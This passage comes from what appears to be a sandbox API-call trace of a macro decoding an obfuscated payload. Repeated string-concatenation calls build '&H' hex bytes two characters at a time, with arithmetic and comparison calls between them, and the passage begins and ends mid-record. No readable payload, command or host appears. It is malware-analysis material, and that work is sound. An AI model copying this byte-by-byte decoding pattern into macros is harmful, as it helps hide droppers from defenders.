pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0106.930] VarAdd (in: pvarLeft=0x197a34, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0106.930] VarAdd (in: pvarLeft=0x197b94, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0106.930] VarBstrCat (in: bstrLeft="&H", bstrRight="f", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0106.930] VarBstrCat (in: bstrLeft="&Hf", bstrRight="f", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0106.930] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0106.931] VarAdd (in: pvarLeft=0x197a34, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0106.931] VarAdd (in: pvarLeft=0x197b94, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0106.931] VarBstrCat (in: bstrLeft="&H", bstrRight="f", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0106.931] VarBstrCat (in: bstrLeft="&Hf", bstrRight="f", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0106.931] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0106.932] VarAdd (in: pvarLeft=0x197a34, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0106.932] VarAdd (in: pvarLeft=0x197b94, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0106.932] VarBstrCat (in: bstrLeft="&H", bstrRight="a", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0106.932] VarBstrCat (in: bstrLeft="&Ha", bstrRight="6", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0106.932] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0106.932] VarAdd (in: pvarLeft=0x197a34, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0106.932] VarAdd (in: pvarLeft=0x197b94, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0106.932] VarBstrCat (in: bstrLeft="&H", bstrRight="c", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0106.932] VarBstrCat (in: bstrLeft="&Hc", bstrRight="e", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0106.932] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0106.933] VarAdd (in: pvarLeft=0x197a34, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0106.933] VarAdd (in: pvarLeft=0x197b94, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0106.933] VarBstrCat (in: bstrLeft="&H", bstrRight="3", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0106.933] VarBstrCat (in: bstrLeft="&H3", bstrRight="f", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0106.933] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0106.933] VarAdd (in: pvarLeft=0x197a34, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0106.933] VarAdd (in: pvarLeft=0x197b94, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0106.933] VarBstrCat (in: bstrLeft="&H", bstrRight="3", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0106.933] VarBstrCat (in: bstrLeft="&H3", bstrRight="c", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0106.933] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0106.934] VarAdd (in: pvarLeft=0x197a34, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0106.934] VarAdd (in: pvarLeft=0x197b94, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0106.934] VarBstrCat (in: bstrLeft="&H", bstrRight="7", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0106.934] VarBstrCat (in: bstrLeft="&H7", bstrRight="4", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0106.934] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0106.934] VarAdd (in: pvarLeft=0x197a34, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0106.934] VarAdd (in: pvarLeft=0x197b94, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0106.934] VarBstrCat (in: bstrLeft="&H", bstrRight="f", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0106.934] VarBstrCat (in: bstrLeft="&Hf", bstrRight="b", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0106.934] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0106.934] VarAdd (in: pvarLeft=0x197a34, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0106.935] VarAdd (in: pvarLeft=0x197b94, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0106.935] VarBstrCat (in: bstrLeft="&H", bstrRight="d", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0106.935] VarBstrCat (in: bstrLeft="&Hd", bstrRight="b", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0106.935] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0106.935] VarAdd (in: pvarLeft=0x197a34, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0106.935] VarAdd (in: pvarLeft=0x197b94, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0106.935] VarBstrCat (in: bstrLeft="&H", bstrRight="3", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0106.935] VarBstrCat (in: bstrLeft="&H3", bstrRight="c", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0106.935] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0106.935] VarAdd (in: pvarLeft=0x197a34, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0106.935] VarAdd (in: pvarLeft=0x197b94, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0106.935] VarBstrCat (in: bstrLeft="&H", bstrRight="a", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0106.936] VarBstrCat (in: bstrLeft="&Ha", bstrRight="a", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0106.936] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0106.936] VarAdd (in: pvarLeft=0x197a34, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0106.936] VarAdd (in: pvarLeft=0x197b94, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0106.936] VarBstrCat (in: bstrLeft="&H", bstrRight="a", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0106.936] VarBstrCat (in: bstrLeft="&Ha", bstrRight="9", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0106.936] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0106.936] VarAdd (in: pvarLeft=0x197a34, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0106.936] VarAdd (in: pvarLeft=0x197b94, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0106.936] VarBstrCat (in: bstrLeft="&H", bstrRight="a", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0106.936] VarBstrCat (in: bstrLeft="&Ha", bstrRight="8", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0106.937] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0106.937] VarAdd (in: pvarLeft=0x197a34, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0106.937] VarAdd (in: pvarLeft=0x197b94, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0106.937] VarBstrCat (in: bstrLeft="&H", bstrRight="a", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0106.937] VarBstrCat (in: bstrLeft="&Ha", bstrRight="f", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0106.937] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0106.937] VarAdd (in: pvarLeft=0x197a34, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0106.937] VarAdd (in: pvarLeft=0x197b94, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0106.937] VarBstrCat (in: bstrLeft="&H", bstrRight="a", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0106.937] VarBstrCat (in: bstrLeft="&Ha", bstrRight="c", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0106.937] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0106.938] VarAdd (in: pvarLeft=0x197a34, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0106.938] VarAdd (in: pvarLeft=0x197b94, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0106.938] VarBstrCat (in: bstrLeft="&H", bstrRight="a", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0106.938] VarBstrCat (in: bstrLeft="&Ha", bstrRight="e", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0106.938] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0106.938] VarAdd (in: pvarLeft=0x197a34, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0106.938] VarAdd (in: pvarLeft=0x197b94, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0106.938] VarBstrCat (in: bstrLeft="&H", bstrRight="a", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0106.938] VarBstrCat (in: bstrLeft="&Ha", bstrRight="d", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0106.938] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0106.939] VarAdd (in: pvarLeft=0x197a34, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0106.939] VarAdd (in: pvarLeft=0x197b94, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0106.939] VarBstrCat (in: bstrLeft="&H", bstrRight="1", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0106.939] VarBstrCat (in: bstrLeft="&H1", bstrRight="7", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0106.939] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0106.939] VarAdd (in: pvarLeft=0x197a34, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0106.939] VarAdd (in: pvarLeft=0x197b94, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0106.939] VarBstrCat (in: bstrLeft="&H", bstrRight="b", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0106.939] VarBstrCat (in: bstrLeft="&Hb", bstrRight="f", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0106.939] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0106.939] VarAdd (in: pvarLeft=0x197a34, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0106.940] VarAdd (in: pvarLeft=0x197b94, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0106.940] VarBstrCat (in: bstrLeft="&H", bstrRight="f", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0106.940] VarBstrCat (in: bstrLeft="&Hf", bstrRight="f", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0106.940] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0106.940] VarAdd (in: pvarLeft=0x197a34, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0106.940] VarAdd (in: pvarLeft=0x197b94, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0106.940] VarBstrCat (in: bstrLeft="&H", bstrRight="f", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0106.940] VarBstrCat (in: bstrLeft="&Hf", bstrRight="f", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0106.940] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0106.940] VarAdd (in: pvarLeft=0x197a34, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0106.940] VarAdd (in: pvarLeft=0x197b94, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0106.941] VarBstrCat (in: bstrLeft="&H", bstrRight="f", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0106.941] VarBstrCat (in: bstrLeft="&Hf", bstrRight="f", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0106.941] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0106.941] VarAdd (in: pvarLeft=0x197a34, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0106.941] VarAdd (in: pvarLeft=0x197b94, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0106.941] VarBstrCat (in: bstrLeft="&H", bstrRight="7", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0106.941] VarBstrCat (in: bstrLeft="&H7", bstrRight="6", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0106.941] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0106.941] VarAdd (in: pvarLeft=0x197a34, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0106.941] VarAdd (in: pvarLeft=0x197b94, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0106.941] VarBstrCat (in: bstrLeft="&H", bstrRight="3", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0106.941] VarBstrCat (in: bstrLeft="&H3", bstrRight="a", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0106.942] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0106.942] VarAdd (in: pvarLeft=0x197a34, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0106.942] VarAdd (in: pvarLeft=0x197b94, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0106.942] VarBstrCat (in: bstrLeft="&H", bstrRight="7", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0106.942] VarBstrCat (in: bstrLeft="&H7", bstrRight="2", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0106.942] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0106.942] VarAdd (in: pvarLeft=0x197a34, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0106.942] VarAdd (in: pvarLeft=0x197b94, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0106.942] VarBstrCat (in: bstrLeft="&H", bstrRight="8", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0106.942] VarBstrCat (in: bstrLeft="&H8", bstrRight="a", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0106.942] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0106.943] VarAdd (in: pvarLeft=0x197a34, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0106.943] VarAdd (in: pvarLeft=0x197b94, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0106.943] VarBstrCat (in: bstrLeft="&H", bstrRight="f", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0106.943] VarBstrCat (in: bstrLeft="&Hf", bstrRight="3", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0106.943] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0106.943] VarAdd (in: pvarLeft=0x197a34, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0106.943] VarAdd (in: pvarLeft=0x197b94, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0106.943] VarBstrCat (in: bstrLeft="&H", bstrRight="7", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0106.943] VarBstrCat (in: bstrLeft="&H7", bstrRight="6", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0106.943] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0106.943] VarAdd (in: pvarLeft=0x197a34, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0106.943] VarAdd (in: pvarLeft=0x197b94, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0106.943] VarBstrCat (in: bstrLeft="&H", bstrRight="0", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0106.944] VarBstrCat (in: bstrLeft="&H0", bstrRight="8", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0106.944] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0106.944] VarAdd (in: pvarLeft=0x197a34, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0106.944] VarAdd (in: pvarLeft=0x197b94, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0106.944] VarBstrCat (in: bstrLeft="&H", bstrRight="c", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0106.944] VarBstrCat (in: bstrLeft="&Hc", bstrRight="e", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0106.944] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0106.944] VarAdd (in: pvarLeft=0x197a34, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0106.944] VarAdd (in: pvarLeft=0x197b94, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0106.944] VarBstrCat (in: bstrLeft="&H", bstrRight="2", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0106.944] VarBstrCat (in: bstrLeft="&H2", bstrRight="4", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0106.944] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0106.944] VarAdd (in: pvarLeft=0x197a34, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0106.944] VarAdd (in: pvarLeft=0x197b94, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0106.944] VarBstrCat (in: bstrLeft="&H", bstrRight="c", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0106.945] VarBstrCat (in: bstrLeft="&Hc", bstrRight="e", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0106.945] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0106.945] VarAdd (in: pvarLeft=0x197a34, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0106.945] VarAdd (in: pvarLeft=0x197b94, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0106.945] VarBstrCat (in: bstrLeft="&H", bstrRight="3", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0106.945] VarBstrCat (in: bstrLeft="&H3", bstrRight="f", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0106.945] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0106.945] VarAdd (in: pvarLeft=0x197a34, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0106.945] VarAdd (in: pvarLeft=0x197b94, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0106.945] VarBstrCat (in: bstrLeft="&H", bstrRight="7", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0106.945] VarBstrCat (in: bstrLeft="&H7", bstrRight="4", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0106.945] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0106.945] VarAdd (in: pvarLeft=0x197a34, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0106.945] VarAdd (in: pvarLeft=0x197b94, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0106.946] VarBstrCat (in: bstrLeft="&H", bstrRight="b", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0106.946] VarBstrCat (in: bstrLeft="&Hb", bstrRight="a", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0106.946] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0106.946] VarAdd (in: pvarLeft=0x197a34, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0106.946] VarAdd (in: pvarLeft=0x197b94, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0106.946] VarBstrCat (in: bstrLeft="&H", bstrRight="f", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0106.946] VarBstrCat (in: bstrLeft="&Hf", bstrRight="b", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0106.946] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0106.946] VarAdd (in: pvarLeft=0x197a34, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0106.946] VarAdd (in: pvarLeft=0x197b94, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0106.946] VarBstrCat (in: bstrLeft="&H", bstrRight="f", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0106.946] VarBstrCat (in: bstrLeft="&Hf", bstrRight="e", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0106.946] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0106.946] VarAdd (in: pvarLeft=0x197a34, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0106.999] VarAdd (in: pvarLeft=0x197b94, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0107.000] VarBstrCat (in: bstrLeft="&H", bstrRight="3", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0107.000] VarBstrCat (in: bstrLeft="&H3", bstrRight="8", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0107.000] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0107.000] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0107.000] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0107.000] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0107.000] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0107.000] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0107.000] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0107.000] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x1 [0107.000] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0107.000] VarAdd (in: pvarLeft=0x197a34, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0107.000] VarAdd (in: pvarLeft=0x197b94, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0107.000] VarBstrCat (in: bstrLeft="&H", bstrRight="c", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0107.000] VarBstrCat (in: bstrLeft="&Hc", bstrRight="e", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0107.000] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0107.000] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0107.000] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0107.000] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0107.000] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0107.000] VarCmp 